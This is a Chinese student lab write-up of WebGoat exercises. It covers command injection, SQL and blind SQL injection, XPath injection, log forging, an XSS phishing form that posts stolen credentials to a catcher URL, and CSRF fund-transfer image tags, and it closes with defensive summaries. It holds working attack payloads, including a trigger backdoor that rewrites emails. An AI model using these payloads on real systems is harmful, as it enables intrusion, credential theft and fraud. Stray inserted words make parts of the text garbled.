java -jar webgoat-container-7.1-exec.jar
localhost:8080/WebGoat
,进入webgoat
开始实验命令注入攻击对任何参数驱动的站点都构成严重威胁。攻击背后的方法很容易学习,形成的损害能够从至关大到彻底的系统妥协。尽管存在这样的风险,但互联网上使人难以置信的系统却容易受到这种形式的攻击。它不只是一种容易被煽动的威胁,也是一种威胁,只要有一点常识和预先考虑,就几乎能够彻底避免。本课将向学生展现参数注入的几个例子。
清理全部输入数据,特别是在OS命令、脚本和数据库查询中使用的数据是很好的作法。
尝试向操做系统注入命令。html
尝试注入netstat -an以及ifconfig这两个系统命令以获取本地计算机创建链接的IP以及系统的网络端口使用状况以及IP地址。在所请求的页面源代码中添加"& netstat -an & ipconfig"
如图所示:java
SELECT * FROM weather_data WHERE station = 101 OR 1=1
,即在查看器中更改代码以下图所示:hby%0d%0aLogin Succeeded for username: admin
,其中%0d
是回车,%0a
是换行符。题目要求是使用账户Mik/Test123,目标是试着去查看其余员工的数据。web
使用一个普通的用户名和密码,XPath会起做用,可是攻击者可能会发送一个坏用户名和密码,并在不知道用户名或密码的状况下,选择一个XML节点,以下所示:正则表达式
Username: hby' or 1=1 or 'a'='a Password: hby
HBY' OR '1'='1
,也就是当last name为hby或者1=1时输出信息,又因为1=1为恒等式,因此全部的用户信息都会被输出。' or 1=1 --
进行SQL注入,可是登陆失败。该题目的目的是经过注入语句,浏览到本来没法浏览的信息。经过一个普通员工的帐户larry,浏览其BOSS的帐户信息。sql
咱们先使用上一题的办法登陆进larry的帐户。(若是刷新了网页还须要从新修改最大字符长度哦)数据库
101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一个:101; update employee set salary=5205
101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155205@163.com' WHERE userid = NEW.userid
建立一个后门,把表中全部的邮箱和用户ID都设为个人:先输入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2333 );
,结果是
Account number is valid.
也就是帐户有效,再试试101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2444 );
返回了
Invalid account number.
也就是帐户无效。那么咱们要找的数就在2333和2444之间了。编程
按照平措同窗的方法设置BurpSuite后获得最终的结果2364.浏览器
hint提示咱们尝试向搜索字段添加HTML以建立假身份验证表单。安全
代码以下:服务器
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
<script>alert("hey guys");</script>
便可。<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
,其中src指向网站的连接,这里就是本身的这个网站,后面的两个参数能够根据红框中的值据实填写,而后经过宽高设置成1像素,隐藏掉这个图片。<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" width="1" height="1"> <img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" width="1" height="1">
SQL注入威胁表现形式能够体现为如下几点:
●绕过认证,得到非法权限 ●猜解后台数据库所有的信息 ●注入能够借助数据库的存储过程进行提权等操做
SQL注入攻击的典型手段
●判断应用程序是否存在注入漏洞 ●收集信息、并判断数据库类型 ●根据注入参数类型,重构SQL语句的原貌 ●猜解表名、字段名 ●获取帐户信息、攻击web或为下一步攻击作准备
防护措施:使用正则表达式过滤传入的参数,字符串过滤,jsp中调用该函数检查是否包函非法字符。
攻击原理:XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,因此容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
防护措施:HttpOnly防止劫取Cookie;输入检查通常是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,若是发现存在特殊字符,则将这些字符过滤或者编码。
攻击原理:CSRF攻击的主要目的是让用户在不知情的状况下攻击本身已登陆的一个系统,相似于钓鱼。如用户当前已经登陆了邮箱,或bbs,同时用户又在使用另一个,已经被你控制的站点,咱们姑且叫它钓鱼网站。这个网站上面可能由于某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,因为当前你的浏览器状态已是登录状态,因此session登录cookie信息都会跟正常的请求同样,纯自然的利用当前的登录状态,让用户在不知情的状况下,帮你发帖或干其余事情。
防护措施:验证HTTP Referer字段;在请求地址中添加token并验证;在HTTP头中自定义属性并验证。